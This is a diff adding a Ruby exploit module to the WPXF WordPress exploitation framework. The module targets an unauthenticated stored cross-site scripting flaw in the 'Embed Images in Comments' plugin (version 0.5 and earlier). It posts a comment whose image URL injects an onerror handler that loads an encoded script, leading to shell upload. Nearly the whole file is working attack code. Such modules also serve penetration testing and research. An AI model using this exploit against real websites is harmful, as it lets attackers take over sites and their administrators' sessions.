|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +class Wpxf::Exploit::EmbedCommentImagesStoredXssShellUpload < Wpxf::Module |
| 4 | + include Wpxf::WordPress::Comments |
| 5 | + include Wpxf::WordPress::StoredXss |
| 6 | + |
| 7 | + def initialize |
| 8 | + super |
| 9 | + |
| 10 | + update_info( |
| 11 | + name: 'Embed Images in Comments <= 0.5 Unauthenticated Stored XSS Shell Upload', |
| 12 | + author: [ |
| 13 | + 'Gennady', # Disclosure |
| 14 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 15 | + ], |
| 16 | + references: [ |
| 17 | + ['WPVDB', '8891'] |
| 18 | + ], |
| 19 | + date: 'Aug 17 2017' |
| 20 | + ) |
| 21 | + |
| 22 | + wordpress_comments_register_options |
| 23 | + end |
| 24 | + |
| 25 | + def check |
| 26 | + check_plugin_version_from_readme('embed-comment-images', '0.6') |
| 27 | + end |
| 28 | + |
| 29 | + def vulnerable_page |
| 30 | + "#{full_uri}?p=#{datastore['comment_post_id']}#comment-#{comment_id}" |
| 31 | + end |
| 32 | + |
| 33 | + def comment_payload |
| 34 | + "http://#{Utility::Text.rand_alpha(5)}.jpg\"onerror=\"#{xss_ascii_encoded_include_script}\".jpg" |
| 35 | + end |
| 36 | + |
| 37 | + def store_payload_in_comment |
| 38 | + self.comment_id = wordpress_comments_post( |
| 39 | + datastore['comment_post_id'], |
| 40 | + "#{datastore['comment_content']}#{comment_payload}", |
| 41 | + datastore['comment_author'], |
| 42 | + datastore['comment_email'], |
| 43 | + datastore['comment_website'] |
| 44 | + ) |
| 45 | + end |
| 46 | + |
| 47 | + def store_script |
| 48 | + store_payload_in_comment |
| 49 | + |
| 50 | + # Craft a dummy HttpResponse to indicate success. |
| 51 | + res = Wpxf::Net::HttpResponse.new(nil) |
| 52 | + res.code = comment_id == -1 ? 404 : 200 |
| 53 | + emit_error('Failed to post comment', true) if comment_id == -1 |
| 54 | + |
| 55 | + res |
| 56 | + end |
| 57 | + |
| 58 | + attr_accessor :comment_id |
| 59 | +end |
0 commit comments